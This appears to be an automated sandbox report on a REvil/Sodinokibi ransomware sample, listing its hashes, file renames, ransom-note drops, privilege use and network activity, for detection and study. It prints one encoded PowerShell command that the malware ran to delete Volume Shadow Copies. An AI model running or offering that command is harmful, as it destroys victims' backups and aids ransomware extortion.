Malware Analysis Report

2024-10-19 10:36

Sample ID 230422-sx2bdshb91
Target Revil.bin.exe
SHA256 78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff
Tags
sodinokibi $2b$13$wz1rerfdlg.aistldqg5jeqqysemspatwkhdwbpwvrc3ty7akscg6 49 ransomware
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

78b592a2710d81fa91235b445f674ee804db39c8cc34f7e894b4e7b7f6eacaff

Threat Level: Known bad

The file Revil.bin.exe was found to be: Known bad.

Malicious Activity Summary

sodinokibi $2b$13$wz1rerfdlg.aistldqg5jeqqysemspatwkhdwbpwvrc3ty7akscg6 49 ransomware

Sodin,Sodinokibi,REvil

Modifies extensions of user files

Enumerates connected drives

Sets desktop wallpaper using registry

Drops file in Program Files directory

Suspicious use of WriteProcessMemory

Uses Volume Shadow Copy service COM API

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-04-22 15:31

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-04-22 15:31

Reported

2023-04-22 15:33

Platform

win7-20230220-en

Max time kernel

29s

Max time network

36s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Processes

C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe

"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"

Network

N/A

Files

memory/2000-54-0x0000000000020000-0x0000000000040000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-04-22 15:31

Reported

2023-04-22 15:33

Platform

win10v2004-20230220-en

Max time kernel

61s

Max time network

140s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"

Signatures

Sodin,Sodinokibi,REvil

ransomware sodinokibi

Modifies extensions of user files

ransomware
Description Indicator Process Target
File renamed C:\Users\Admin\Pictures\UninstallComplete.tif => \??\c:\users\admin\pictures\UninstallComplete.tif.ddau5 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File renamed C:\Users\Admin\Pictures\WatchRequest.tif => \??\c:\users\admin\pictures\WatchRequest.tif.ddau5 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\users\admin\pictures\InitializeProtect.tiff C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File renamed C:\Users\Admin\Pictures\ExitRename.tif => \??\c:\users\admin\pictures\ExitRename.tif.ddau5 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File renamed C:\Users\Admin\Pictures\InitializeProtect.tiff => \??\c:\users\admin\pictures\InitializeProtect.tiff.ddau5 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File renamed C:\Users\Admin\Pictures\PublishAdd.tif => \??\c:\users\admin\pictures\PublishAdd.tif.ddau5 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\F: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\N: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\P: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\G: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\L: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\Q: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\S: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\W: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\D: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\U: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\A: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\H: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\J: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\K: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\M: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\O: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\T: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\V: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\Z: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\B: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\E: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\I: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\R: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\X: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened (read-only) \??\Y: C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-1675742406-747946869-1029867430-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\u332621.bmp" C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification \??\c:\program files\FindUnpublish.ppsx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\GrantSplit.ogg C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ImportRead.eprtx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ResetGrant.tmp C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\SplitRestart.rle C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\TestInstall.mpeg C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ResetBackup.mpeg C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\SyncDeny.mp2v C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\UnblockUndo.mht C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\UnregisterFormat.snd C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File created \??\c:\program files\EDGEWATER-README.txt C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ConfirmRepair.ttf C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\MeasureBackup.ppsx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\TraceRestore.xps C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\CopyDisable.eprtx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\InstallUninstall.wdp C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\BlockDisconnect.cfg C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ClearGroup.nfo C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ResumeSkip.iso C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\UnblockConfirm.xls C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\DisableWatch.wmf C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\EnablePublish.php C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\LockOpen.bmp C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\MountRestart.TS C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\RemoveRead.mhtml C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\ResetMeasure.wmv C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\UnprotectLock.zip C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\DenyPop.asx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\SkipShow.wvx C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\SubmitReset.fon C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\TestRestart.pptm C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File created \??\c:\program files (x86)\EDGEWATER-README.txt C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\LockUndo.au3 C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\RevokeReceive.aifc C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
File opened for modification \??\c:\program files\WriteAdd.mht C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\system32\vssvc.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2176 wrote to memory of 4740 N/A C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2176 wrote to memory of 4740 N/A C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe

"C:\Users\Admin\AppData\Local\Temp\Revil.bin.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==

C:\Windows\system32\wbem\unsecapp.exe

C:\Windows\system32\wbem\unsecapp.exe -Embedding

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
DE 172.217.23.193:443 tcp
US 8.8.8.8:53 64.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 216.239.32.29:80 tcp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 104.208.16.90:443 tcp
US 209.197.3.8:80 tcp
US 209.197.3.8:80 tcp
US 209.197.3.8:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp
US 8.8.8.8:53 233.141.123.20.in-addr.arpa udp
NL 84.53.175.11:80 tcp
US 151.101.1.229:443 tcp
US 35.244.159.8:443 tcp
US 188.114.97.0:443 tcp
US 35.190.60.146:443 tcp

Files

memory/2176-133-0x0000000001100000-0x0000000001120000-memory.dmp

memory/2176-134-0x0000000001100000-0x0000000001120000-memory.dmp

memory/4740-135-0x00000207F9190000-0x00000207F91B2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qfvgans4.5q5.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4740-145-0x00000207F6590000-0x00000207F65A0000-memory.dmp

memory/4740-146-0x00000207F6590000-0x00000207F65A0000-memory.dmp

memory/4740-147-0x00000207F6590000-0x00000207F65A0000-memory.dmp

memory/2176-150-0x0000000001100000-0x0000000001120000-memory.dmp

C:\Recovery\EDGEWATER-README.txt

MD5 a534f1fd8fa84932d81fecdd6671aa89
SHA1 d2fe61f6cd506708868b793f62acee17834e9773
SHA256 1af804efe2bd6fbebc64c61dc3509bfe2e420a2bf47258b62cb8ed18eab1077c
SHA512 480f7d0a3a5b69418f015ce57a747ce3db594126c8ab9f9cc2100272db286528e4d1bfa5b5108fa927f62e152b2159988c68e1d32636093aa5aa907bad9613f4

memory/2176-283-0x0000000001100000-0x0000000001120000-memory.dmp

memory/2176-581-0x0000000001100000-0x0000000001120000-memory.dmp

memory/2176-590-0x0000000001100000-0x0000000001120000-memory.dmp